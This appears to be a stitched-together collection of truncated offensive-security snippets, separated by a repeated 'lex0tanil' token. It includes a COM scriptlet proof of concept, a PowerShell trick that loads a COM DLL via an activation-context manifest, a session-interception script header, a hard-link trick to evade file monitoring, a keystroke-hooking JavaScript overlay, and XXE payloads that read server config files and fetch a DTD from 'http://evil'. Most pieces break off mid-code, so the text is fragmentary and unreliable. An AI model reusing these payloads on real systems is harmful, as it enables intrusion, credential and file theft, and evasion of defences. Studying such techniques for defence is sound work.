lex0tanil

<?XML version="1.0"?>
<scriptlet>
<registration 
    progid="PoC"
    classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
	<!-- Proof Of Concept - Casey Smith @subTee -->
	<!--  License: BSD3-Clause -->
	<script language="JScript">
		<![CDATA[
	

lex0tanil

#Doesn't Even Have to Be A Conformant COM DLL To trigger the load.

# Sample DLL To inject here 
# https://github.com/redcanaryco/atomic-red-team/tree/master/atomics/T1179

$manifest = '<?xml version="1.0" encoding="UTF-16" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> 	<assemblyIdentity type="win32" name="LiterallyDoesentMatter" version="6.6.6.0"/> 	<file name="Anyname.dll.anything">     	<comClass         	description="Any Description HERE"         	clsid="{89565276-A714-4a43-91FE-EDACDCC0FFEE}" threadingModel="Both"         	progid="JustMakeSomethingUp"/> 	</file>  </assembly>';
$ax = new-object -Com "Microsoft.Windows.ActCtx"
$ax.ManifestText = $manifest;
$DWX = $ax.CreateObject("JustMakeSomethingUp");

lex0tanil

using System;
using System.Net;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;

/*
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause

lex0tanil

<#
.SYNOPSIS

This script demonstrates the ability to capture and tamper with Web sessions.  
For secure sessions, this is done by dynamically writing certificates to match the requested domain. 
This is only proof-of-concept, and should be used cautiously, to demonstrate the effects of such an attack. 
This script requires local administrative privileges to execute properly.  

Function: Interceptor
Author: Casey Smith, Twitter: @subTee

lex0tanil

Using Hard Links to point back to attacker controlled location.

mklink /h C:\Windows\System32\Tasks\tasks.dll C:\Tools\Tasks.dll
Hardlink created for C:\Windows\System32\Tasks\tasks.dll <<===>> C:\Tools\Tasks.dll

This can redirect the search to an arbitrary location and evade tools that are looking for filemods in a particular location.

xref: https://googleprojectzero.blogspot.com/2015/12/between-rock-and-hard-link.html

lex0tanil

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text;

public class TestClass
{
	
	public TestClass()
	{}

lex0tanil

#!/usr/bin/env python
# coding=utf-8

import argparse
import datetime
import sys
import time
import threading
import traceback
import socketserver

lex0tanil

// Copyright John Leitch 2010 john.leitch5@gmail.com
var destination = null;
var useClone = false;
var cloneSource = null;
var cloneDelay = 1000;

function hookInputs() {
    var frame = document.getElementById('overlayFrame');    

    var keyPressScript =

lex0tanil

Payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
 <!ENTITY % start "<![CDATA[">
 <!ENTITY % stuff SYSTEM "file:///usr/local/tomcat/webapps/customapp/WEB-INF/applicationContext.xml ">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://evil/evil.xml">
%dtd;
]>

lex0tanil

--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>